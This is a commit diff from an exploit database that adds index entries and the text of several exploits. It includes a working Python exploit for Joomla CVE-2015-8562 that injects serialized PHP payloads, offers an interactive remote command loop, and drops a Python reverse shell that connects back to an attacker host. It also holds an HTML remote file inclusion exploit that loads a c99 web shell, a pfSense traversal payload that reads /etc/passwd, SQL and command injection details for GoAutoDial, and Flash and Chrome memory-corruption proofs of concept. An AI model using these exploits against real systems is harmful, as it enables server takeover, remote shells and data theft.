DB: 2015-12-19
23 new exploits
This commit is contained in:
parent
4ac8afedb7
commit
d29ea82fdf
24 changed files with 997 additions and 0 deletions
23
files.csv
23
files.csv
|
@ -35202,6 +35202,7 @@ id,file,description,date,author,platform,type,port
|
|||
38938,platforms/php/webapps/38938.txt,"xBoard 'post' Parameter Local File Include Vulnerability",2013-12-24,"TUNISIAN CYBER",php,webapps,0
|
||||
38939,platforms/multiple/dos/38939.c,"VLC Media Player 1.1.11 '.NSV' File Denial of Service Vulnerability",2012-03-14,"Dan Fosco",multiple,dos,0
|
||||
38940,platforms/multiple/dos/38940.c,"VLC Media Player 1.1.11 '.EAC3' File Denial of Service Vulnerability",2012-03-14,"Dan Fosco",multiple,dos,0
|
||||
38941,platforms/php/webapps/38941.txt,"GoAutoDial CE 3.3 - Multiple Vulnerabilities",2015-12-12,R-73eN,php,webapps,0
|
||||
38942,platforms/php/webapps/38942.txt,"SPAMINA Cloud Email Firewall Directory Traversal Vulnerability",2013-10-03,"Sisco Barrera",php,webapps,0
|
||||
38943,platforms/php/webapps/38943.txt,"Joomla! Aclsfgpl Component 'index.php' Arbitrary File Upload Vulnerability",2014-01-07,"TUNISIAN CYBER",php,webapps,0
|
||||
38944,platforms/php/webapps/38944.txt,"Command School Student Management System /sw/admin_grades.php id Parameter SQL Injection",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
|
@ -35287,3 +35288,25 @@ id,file,description,date,author,platform,type,port
|
|||
39030,platforms/php/webapps/39030.txt,"bloofoxCMS /bloofox/admin/index.php username Parameter SQL Injection",2014-01-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39031,platforms/php/webapps/39031.html,"bloofoxCMS /admin/index.php Admin User Creation CSRF",2014-01-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39032,platforms/php/webapps/39032.txt,"bloofoxCMS /admin/include/inc_settings_editor.php fileurl Parameter Local File Inclusion",2014-01-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39033,platforms/php/remote/39033.py,"Joomla 1.5 - 3.4.5 - Object Injection RCE X-Forwarded-For Header",2015-12-18,"Andrew McNicol",php,remote,80
|
||||
39034,platforms/php/webapps/39034.html,"Ovidentia maillist Module 4.0 - Remote File Inclusion Exploit",2015-12-18,bd0rk,php,webapps,80
|
||||
39035,platforms/win64/local/39035.txt,"Microsoft Windows win32k Local Privilege Escalation (MS15-010)",2015-12-18,"Jean-Jamil Khalife",win64,local,0
|
||||
39038,platforms/php/webapps/39038.txt,"PFSense <= 2.2.5 - Directory Traversal",2015-12-18,R-73eN,php,webapps,0
|
||||
39039,platforms/multiple/dos/39039.txt,"Google Chrome - Renderer Process to Browser Process Privilege Escalation",2015-12-18,"Google Security Research",multiple,dos,0
|
||||
39040,platforms/windows/dos/39040.txt,"Adobe Flash MovieClip.attachBitmap - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39041,platforms/windows/dos/39041.txt,"Adobe Flash MovieClip.startDrag - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39042,platforms/windows/dos/39042.txt,"Adobe Flash MovieClip.duplicateMovieClip - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39043,platforms/win64/dos/39043.txt,"Adobe Flash Selection.SetSelection - Use-After-Free",2015-12-18,"Google Security Research",win64,dos,0
|
||||
39044,platforms/windows/dos/39044.txt,"Adobe Flash TextField.sharpness Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39045,platforms/windows/dos/39045.txt,"Adobe Flash TextField.thickness Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39046,platforms/windows/dos/39046.txt,"Adobe Flash TextField.setFormat - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39047,platforms/windows/dos/39047.txt,"Adobe Flash TextField.replaceSel - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39048,platforms/windows/dos/39048.txt,"Adobe Flash TextField.replaceText - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39049,platforms/windows/dos/39049.txt,"Adobe Flash TextField Variable - Use-After Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39050,platforms/windows/dos/39050.txt,"Adobe Flash TextField.variable Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39051,platforms/windows/dos/39051.txt,"Adobe Flash TextField.htmlText Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39052,platforms/windows/dos/39052.txt,"Adobe Flash TextField.type Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39053,platforms/windows/dos/39053.txt,"Adobe Flash TextField.text Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39054,platforms/windows/dos/39054.txt,"Adobe Flash TextField.tabIndex Setter - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39055,platforms/windows/dos/39055.txt,"Adobe Flash MovieClip.attachMovie - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
39056,platforms/windows/dos/39056.txt,"Adobe Flash MovieClip.localToGlobal - Use-After-Free",2015-12-18,"Google Security Research",windows,dos,0
|
||||
|
|
Can't render this file because it is too large.
|
68
platforms/multiple/dos/39039.txt
Executable file
68
platforms/multiple/dos/39039.txt
Executable file
|
@ -0,0 +1,68 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=664
|
||||
|
||||
There is an overflow in the ui::PlatformCursor WebCursor::GetPlatformCursor method. In src/content/common/cursors/webcursor_aurax11.cc&q=webcursor_aurax11.cc, there is the following code:
|
||||
|
||||
bitmap.allocN32Pixels(custom_size_.width(), custom_size_.height());
|
||||
memcpy(bitmap.getAddr32(0, 0), custom_data_.data(), custom_data_.size());
|
||||
|
||||
The bitmap buffer is allocated based on the width and height of the custom_size_, but the memcpy is performed using the size of the custom_data_.
|
||||
|
||||
These values are set during WebCursor deserialization in src/content/common/cursors/webcursor.cc in WebCursor::Deserialize.
|
||||
|
||||
custom_size_ is set from two integers that a deserialized from a message and can be between 0 and 1024. custom_data_ is set from a vector that is deserialized, and can be any size, unrelated to the width and height. The custom_data_ is verified not to be smaller than the expected pixel buffer based on the width and height, but can be longer.
|
||||
|
||||
GetPlatformCursor is called indirectly by RenderWidgetHostImpl::OnSetCursor, which is called in response to a ViewHostMsg_SetCursor message from the renderer.
|
||||
|
||||
The issue above is in the x11 implementation, but it appears also affect other platform-specific implementations other than the Windows one, which instead reads out of bounds.
|
||||
|
||||
I recommend this issue be fixed by changing the check in WebCursor::Deserialize:
|
||||
|
||||
if (size_x * size_y * 4 > data_len)
|
||||
return false;
|
||||
|
||||
to
|
||||
|
||||
if (size_x * size_y * 4 != data_len)
|
||||
return false;
|
||||
|
||||
to prevent the issue in all platform-specific implementations.
|
||||
|
||||
To reproduce the issue replace WebCursor::Serialize with:
|
||||
|
||||
bool WebCursor::Serialize(base::Pickle* pickle) const {
|
||||
|
||||
if(type_ == WebCursorInfo::TypeCustom){
|
||||
LOG(WARNING) << "IN SERIALIZE\n";
|
||||
if (!pickle->WriteInt(type_) ||
|
||||
!pickle->WriteInt(hotspot_.x()) ||
|
||||
!pickle->WriteInt(hotspot_.y()) ||
|
||||
!pickle->WriteInt(2) ||
|
||||
!pickle->WriteInt(1) ||
|
||||
!pickle->WriteFloat(custom_scale_))
|
||||
return false;
|
||||
}else{
|
||||
|
||||
if (!pickle->WriteInt(type_) ||
|
||||
!pickle->WriteInt(hotspot_.x()) ||
|
||||
!pickle->WriteInt(hotspot_.y()) ||
|
||||
!pickle->WriteInt(custom_size_.width()) ||
|
||||
!pickle->WriteInt(custom_size_.height()) ||
|
||||
!pickle->WriteFloat(custom_scale_))
|
||||
return false;
|
||||
|
||||
}
|
||||
const char* data = NULL;
|
||||
if (!custom_data_.empty())
|
||||
data = &custom_data_[0];
|
||||
if (!pickle->WriteData(data, custom_data_.size()))
|
||||
return false;
|
||||
|
||||
return SerializePlatformData(pickle);
|
||||
}
|
||||
|
||||
and visit the attached html page, with the attached image in the same directory.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39039.zip
|
||||
|
131
platforms/php/remote/39033.py
Executable file
131
platforms/php/remote/39033.py
Executable file
|
@ -0,0 +1,131 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Exploit Title: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header
|
||||
# Date: 12/17/2015
|
||||
# Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs)
|
||||
# Vendor Homepage: https://www.joomla.org/
|
||||
# Software Link: http://joomlacode.org/gf/project/joomla/frs/
|
||||
# Version: Joomla 1.5 - 3.4.5
|
||||
# Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable)
|
||||
# CVE : CVE-2015-8562
|
||||
|
||||
|
||||
'''
|
||||
Joomla 1.5 - 3.4.5 Object Injection RCE - CVE-2015-8562
|
||||
PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE
|
||||
|
||||
Original PoC from Gary@ Sec-1 ltd (http://www.sec-1.com):
|
||||
https://www.exploit-db.com/exploits/38977/
|
||||
|
||||
Vulnerability Info, Exploit, Detection:
|
||||
https://breakpoint-labs.com/joomla-rce-cve-2015-8562/
|
||||
|
||||
Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log
|
||||
|
||||
Usage - Automate Blind RCE:
|
||||
python joomla-rce-2-shell.py -t http://192.168.1.139/ --cmd
|
||||
$ touch /tmp/newhnewh
|
||||
|
||||
Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host:
|
||||
python joomla-rce-2-shell.py -t http://192.168.1.139/ -l 192.168.1.119 -p 4444
|
||||
[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.1.139/
|
||||
[-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:4444
|
||||
<Response [200]>
|
||||
[+] Spawning reverse shell....
|
||||
<Response [200]>
|
||||
|
||||
Listening on [0.0.0.0] (family 0, port 4444)
|
||||
$ python -c "import pty;pty.spawn('/bin/bash')"
|
||||
www-data@ubuntu:/$ id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
www-data@ubuntu:/$
|
||||
|
||||
'''
|
||||
|
||||
import requests
|
||||
import subprocess
|
||||
import argparse
|
||||
import sys
|
||||
import base64
|
||||
|
||||
# Heavy lifting from PoC author Gary@ Sec-1 ltd (http://www.sec-1.com)
|
||||
def get_url(url, user_agent):
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests
|
||||
'x-forwarded-for': user_agent # X-Forwarded-For header instead of UA
|
||||
}
|
||||
cookies = requests.get(url,headers=headers).cookies
|
||||
for _ in range(3):
|
||||
response = requests.get(url, headers=headers,cookies=cookies)
|
||||
return response
|
||||
|
||||
|
||||
def php_str_noquotes(data):
|
||||
"Convert string to chr(xx).chr(xx) for use in php"
|
||||
encoded = ""
|
||||
for char in data:
|
||||
encoded += "chr({0}).".format(ord(char))
|
||||
|
||||
return encoded[:-1]
|
||||
|
||||
|
||||
def generate_payload(php_payload):
|
||||
|
||||
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
|
||||
|
||||
terminate = '\xf0\xfd\xfd\xfd';
|
||||
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
|
||||
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
|
||||
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
|
||||
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
|
||||
|
||||
return exploit_template
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652')
|
||||
parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server')
|
||||
parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell')
|
||||
parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell')
|
||||
parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.cmd:
|
||||
print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
|
||||
print "[-] Dropping into shell-like environment to perform blind RCE"
|
||||
while True:
|
||||
command = raw_input('$ ')
|
||||
cmd_str = "system('{}');".format(command)
|
||||
pl = generate_payload(cmd_str)
|
||||
print get_url(args.RHOST, pl)
|
||||
|
||||
# Spawn Reverse Shell using Netcat listener + Python shell on victim
|
||||
elif args.LPORT and args.LPORT:
|
||||
connection = "'{}', {}".format(args.LHOST, args.LPORT)
|
||||
|
||||
# pentestmonkey's Python reverse shell one-liner:
|
||||
shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'''
|
||||
# Base64 encoded the Python reverse shell as some chars were messing up in the exploit
|
||||
encoded_comm = base64.b64encode(shell_str)
|
||||
# Stage 1 payload Str
|
||||
payload = "echo {} | base64 -d > /tmp/newhnewh.py".format(encoded_comm)
|
||||
print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
|
||||
print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT)
|
||||
# Stage 1: Uploads the Python reverse shell to "/tmp/newhnewh.py"
|
||||
pl = generate_payload("system('"+payload+"');")
|
||||
print get_url(args.RHOST, pl)
|
||||
# Spawns Shell listener using netcat on LHOST
|
||||
listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
|
||||
print "[+] Spawning reverse shell...."
|
||||
# Stage 2: Executes Python reverse shell back to LHOST:LPORT
|
||||
pl = generate_payload("system('python /tmp/newhnewh.py');")
|
||||
print get_url(args.RHOST, pl)
|
||||
else:
|
||||
print '[!] missing arguments'
|
||||
parser.print_help()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
176
platforms/php/webapps/38941.txt
Executable file
176
platforms/php/webapps/38941.txt
Executable file
|
@ -0,0 +1,176 @@
|
|||
# Title : GoAutoDial CE 3.3 Multiple SQL injections, Command Injection
|
||||
# Date : 06/12/2015
|
||||
# Author : R-73eN
|
||||
# Tested on : goautodial-32bit-ce-3.3-final
|
||||
# Software : http://goautodial.org/
|
||||
# ___ __ ____ _ _
|
||||
# |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | |
|
||||
# | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | |
|
||||
# | || | | | _| (_) | |_| | __/ | | | / ___ \| |___
|
||||
# |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|
|
||||
#
|
||||
|
||||
Vulnerabilities
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
call_report_export.php
|
||||
|
||||
Line 131
|
||||
|
||||
$LOGip = getenv("REMOTE_ADDR");
|
||||
$LOGbrowser = getenv("HTTP_USER_AGENT");
|
||||
$LOGscript_name = getenv("SCRIPT_NAME");
|
||||
$LOGserver_name = getenv("SERVER_NAME");
|
||||
$LOGserver_port = getenv("SERVER_PORT");
|
||||
$LOGrequest_uri = getenv("REQUEST_URI");
|
||||
$LOGhttp_referer = getenv("HTTP_REFERER");
|
||||
if (preg_match("/443/i",$LOGserver_port)) {$HTTPprotocol = 'https://';}
|
||||
else {$HTTPprotocol = 'http://';}
|
||||
if (($LOGserver_port == '80') or ($LOGserver_port == '443') ) {$LOGserver_port='';}
|
||||
else {$LOGserver_port = ":$LOGserver_port";}
|
||||
$LOGfull_url = "$HTTPprotocol$LOGserver_name$LOGserver_port$LOGrequest_uri";
|
||||
|
||||
$stmt="INSERT INTO vicidial_report_log set event_date=NOW(), user='$PHP_AUTH_USER', ip_address='$LOGip', report_name='$report_name', browser='$LOGbrowser', referer='$LOGhttp_referer', notes='$LOGserver_name:$LOGserver_port $LOGscript_name |$campaign[0], $query_date, $end_date|', url='$LOGfull_url';";
|
||||
|
||||
|
||||
The $LOGip , $LOGbrowser etc are not sanitized are passed directly to a sql query.
|
||||
For example passing a crafted User-Agent header will cause a sql injection attack.
|
||||
|
||||
The following files were vulnerable for the same vulnerability.
|
||||
call_report_export.php
|
||||
voice_lab.php
|
||||
user_status.php
|
||||
user_stats.php
|
||||
timeclock_status.php
|
||||
timeclock_report.php
|
||||
sph_report.php
|
||||
group_hourly_stats.php
|
||||
realtime_report.php
|
||||
lead_report_export.php
|
||||
list_download.php
|
||||
fcstats.php
|
||||
call_report_export.php
|
||||
AST_VICIDIAL_ingrouplist.php
|
||||
AST_VICIDIAL_hopperlist.php
|
||||
AST_usergroup_login_report.php
|
||||
AST_team_performance_detail.php
|
||||
AST_VDADstats.php
|
||||
AST_server_performance.php
|
||||
campaign_debug.php
|
||||
AST_LIST_UPDATEstats.php
|
||||
AST_LISTS_campaign_stats.php
|
||||
AST_OUTBOUNDsummary_interval.php
|
||||
AST_IVRstats.php
|
||||
AST_IVRfilter.php
|
||||
AST_inbound_daily_report.php
|
||||
and in many other files.
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
web_form_forward.php
|
||||
Line 15
|
||||
|
||||
if (isset($_GET["user"])) {$user=$_GET["user"];}
|
||||
|
||||
require("dbconnect.php");
|
||||
$stmt="SELECT full_name from vicidial_users where user='$user';";
|
||||
$rslt=mysql_query($stmt, $link);
|
||||
$row=mysql_fetch_row($rslt);
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
QM_live_monitor.php
|
||||
|
||||
If the QueueMetrics is enabled the following file is vulnerable to sql injection
|
||||
|
||||
. LINE 31
|
||||
if (isset($_GET["call"])){$call=$_GET["call"];}
|
||||
elseif (isset($_POST["call"])) {$call=$_POST["call"];}
|
||||
.
|
||||
.
|
||||
.
|
||||
$stmt = "SELECT user,server_ip,conf_exten,comments FROM vicidial_live_agents where callerid='$call';";
|
||||
|
||||
|
||||
As u can see the $call parameter is not sanitized which leads to Sql injection.
|
||||
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
|
||||
call_log_display.php SQL injection
|
||||
|
||||
|
||||
there is no validation on the $server_ip and $session_name an
|
||||
if( (strlen($server_ip)<6) or (!isset($server_ip)) or ( (strlen($session_name)<12) or (!isset($session_name)) ) )
|
||||
.
|
||||
.
|
||||
$stmt="SELECT count(*) from web_client_sessions where session_name='$session_name' and server_ip='$server_ip';";
|
||||
.
|
||||
.
|
||||
The if statement can be bypassed very easily, we need to provide an input more then 6 characters and more then 12 characters.
|
||||
Then the parameters get passed ot the sql query and we have sql injection again.
|
||||
|
||||
The same vulnerability was found to.
|
||||
|
||||
conf_extn_check.php
|
||||
inbound_popup.php
|
||||
live_extn_check.php
|
||||
manager_send.php
|
||||
park_calls_display.php
|
||||
active_list_refresh.php
|
||||
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
|
||||
SCRIPT_multirecording_AJAX.php SQL injection
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
if (isset($_GET["campaign"])) {$campaign=$_GET["campaign"];}
|
||||
elseif (isset($_POST["campaign"])) {$campaign=$_POST["campaign"];}
|
||||
.
|
||||
.
|
||||
.
|
||||
$stmt="select campaign_rec_filename from vicidial_campaigns where campaign_id='$campaign'";
|
||||
|
||||
Again $campaign is not sanetized
|
||||
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
|
||||
recording_lookup.php SQL injection
|
||||
.
|
||||
.
|
||||
(isset($_GET["QUERY_recid"])) {$QUERY_recid=$_GET["QUERY_recid"];}
|
||||
elseif (isset($_POST["QUERY_recid"])) {$QUERY_recid=$_POST["QUERY_recid"];}
|
||||
.
|
||||
.
|
||||
$stmt="select recording_id,lead_id,user,filename,location,start_time,length_in_sec from recording_log where filename LIKE \"%$QUERY_recid%\" order by recording_id desc LIMIT 1;";
|
||||
$QUERY_recid is not sanitized.
|
||||
|
||||
|
||||
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
|
||||
vicidial_sales_viewer.php SQL injection , Command Injection
|
||||
the $dcampaign parameter is not sanitized.
|
||||
|
||||
.
|
||||
.
|
||||
if (isset($_GET["dcampaign"])) {$dcampaign=$_GET["dcampaign"];}
|
||||
elseif (isset($_POST["dcampaign"])) {$dcampaign=$_POST["dcampaign"];}
|
||||
.
|
||||
.
|
||||
$stmt="select campaign_id, campaign_name from vicidial_campaigns where campaign_id='$dcampaign'"; // Here we have the sql injection
|
||||
.
|
||||
.
|
||||
passthru("$WeBServeRRooT/vicidial/spreadsheet_sales_viewer.pl $list_ids $sales_number $timestamp $forc $now $dcampaign"); // Command injection
|
||||
|
||||
|
||||
|
||||
https://www.infogen.al/ - Infogen AL
|
64
platforms/php/webapps/39034.html
Executable file
64
platforms/php/webapps/39034.html
Executable file
|
@ -0,0 +1,64 @@
|
|||
<!--
|
||||
# Title: Ovidentia maillist 4.0 Module Remote File Inclusion Exploit
|
||||
# Author: bd0rk
|
||||
# eMail: bd0rk[at]hackermail.com
|
||||
# Twitter: twitter.com/bd0rk
|
||||
# Tested on: Ubuntu-Linux
|
||||
# Google-Dork: n/a-->Not for kiddies!
|
||||
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fmaillist&file=maillist-4-0.zip&idf=794
|
||||
|
||||
PoC:
|
||||
|
||||
maillist-4-0/programs/mlincl.php line 4
|
||||
------------------------------------------------------------------------
|
||||
|
||||
@include_once $GLOBALS['babInstallPath'].'utilit/registerglobals.php';
|
||||
|
||||
------------------------------------------------------------------------
|
||||
Greetz: GoLd_M(Welcome back bro'!) :), x0r_32, Anonymous, LulzSec
|
||||
|
||||
----------------
|
||||
~~Exploitcode~~
|
||||
----------------
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
|
||||
<script language="JavaScript">
|
||||
|
||||
var a="/maillist-4-0/programs/"
|
||||
var b="mlincl.php"
|
||||
var c="?GLOBALS[babInstallPath]="
|
||||
|
||||
var shellcode="http://yourshellpath.com/c99.txt?"
|
||||
|
||||
function it(){
|
||||
xpl.action= document.xpl.victim.value+a+b+c+shellcode;xpl.submit();
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body bgcolor="#FFFFFF">
|
||||
<p align="middle"><font color="#0000FF"><b>Ovidentia maillist 4.0 Module Remote File Inclusion Exploit</b></font></p>
|
||||
<form method="post" name="xpl" onSubmit="it();">
|
||||
<p align="left">
|
||||
<b><font face="Tahoma" size="2"><font color="#FF0000">Usage</font>:http://someone/directory</a></font>
|
||||
or
|
||||
</font>
|
||||
<font face="Tahoma" size="2" color="#000000">http://someone</font><font
|
||||
size="2" face="Tahoma"></a> <font size="2">&nbps;--></font></font></b><font
|
||||
size="2" face="Tahoma">
|
||||
<input type="text" name="someone" size="20";"></p>
|
||||
<center>
|
||||
|
||||
</p>
|
||||
<p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset"
|
||||
value="reset" name="B2" style="float: left"></p>
|
||||
</form>
|
||||
<p><br>
|
||||
&nbps;</p>
|
||||
</center>
|
||||
</body>
|
||||
|
||||
</html>
|
57
platforms/php/webapps/39038.txt
Executable file
57
platforms/php/webapps/39038.txt
Executable file
|
@ -0,0 +1,57 @@
|
|||
# Title : PFSense <= 2.2.5 Directory Traversal
|
||||
# Date : 18/12/2015
|
||||
# Author : R-73eN
|
||||
# Tested on : PFSense 2.2.5
|
||||
# Software : https://github.com/pfsense/pfsense
|
||||
# Vendor : https://pfsense.org/
|
||||
# ___ __ ____ _ _
|
||||
# |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | |
|
||||
# | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | |
|
||||
# | || | | | _| (_) | |_| | __/ | | | / ___ \| |___
|
||||
# |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|
|
||||
#
|
||||
#
|
||||
# Fix provided by the vendor https://github.com/pfsense/pfsense/commit/3ac0284805ce357552c3ccaeff0a9aadd0c6ea13
|
||||
#
|
||||
#
|
||||
|
||||
|
||||
In pfsense <= 2.2.5 (Latest Version) , during a security audit i discovered the following vulnerabilities in the pfsense Webgui.
|
||||
|
||||
The following files are vulnerable to a file inclusion attack
|
||||
|
||||
wizard.php?xml=
|
||||
pkg.php?xml=
|
||||
|
||||
Both of this files do not sanitize the path of the xml parameter and we can load xml files, and loading a special crafted xml file we can gain command execution.
|
||||
|
||||
Example:
|
||||
1.xml (the filename can be whatever .txt , .jpg etc because it does not check for the file extension)
|
||||
|
||||
The content of the 1.xml should be:
|
||||
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<pfsensewizard>
|
||||
<totalsteps>12</totalsteps>
|
||||
<step>
|
||||
<id>1</id>
|
||||
<title>LFI example </title>
|
||||
<description>Lfi example </description>
|
||||
<disableheader>on</disableheader>
|
||||
<stepsubmitphpaction>step1_submitphpaction();</stepsubmitphpaction>
|
||||
<includefile>/etc/passwd</includefile>
|
||||
</step>
|
||||
</pfsensewizard>
|
||||
|
||||
the parameter <includefile> is passed to a require_once() function which triggers the File inclusion Attack.
|
||||
As we all know File inclusion attack can be converted to RCE very easily.
|
||||
|
||||
Then visiting
|
||||
|
||||
http://vulnhost/wizard.php?xml=../../../1.xml
|
||||
|
||||
where the "xml" parameter is the path of the crafted file, will trigger the vulnerability.
|
||||
|
||||
Thanks
|
||||
Rio Sherri
|
||||
https://www.infogen.al/ - Infogen AL
|
25
platforms/win64/dos/39043.txt
Executable file
25
platforms/win64/dos/39043.txt
Executable file
|
@ -0,0 +1,25 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=590
|
||||
|
||||
There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:
|
||||
|
||||
var mc = this.createEmptyMovieClip("mc", 301);
|
||||
var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
|
||||
myText_txt.text = "this is my text";
|
||||
Selection.setFocus("myText_txt");
|
||||
var n = {valueOf : func};
|
||||
Selection.setSelection(n, 3);
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
// Fix heap here
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39043.zip
|
||||
|
12
platforms/win64/local/39035.txt
Executable file
12
platforms/win64/local/39035.txt
Executable file
|
@ -0,0 +1,12 @@
|
|||
# Exploit Title: MS15-010/CVE-2015-0057 win32k Local Privilege Escalation
|
||||
# Date: 2015-12-17
|
||||
# Exploit Author: Jean-Jamil Khalife
|
||||
# Software Link: http://www.microsoft.com
|
||||
# Version: Windows 8.1 (x64)
|
||||
# Tested on: Windows 8.1 (x64)
|
||||
# CVE : CVE-2015-0057
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39035.zip
|
||||
|
25
platforms/windows/dos/39040.txt
Executable file
25
platforms/windows/dos/39040.txt
Executable file
|
@ -0,0 +1,25 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=593
|
||||
|
||||
There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.
|
||||
|
||||
A minimal PoC follows:
|
||||
|
||||
this.createEmptyMovieClip("mc", 1);
|
||||
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
|
||||
mc.attachBitmap( b, {valueOf : func });
|
||||
|
||||
function func(){
|
||||
|
||||
mc.removeMovieClip();
|
||||
|
||||
// Fix heap here
|
||||
|
||||
return 5;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
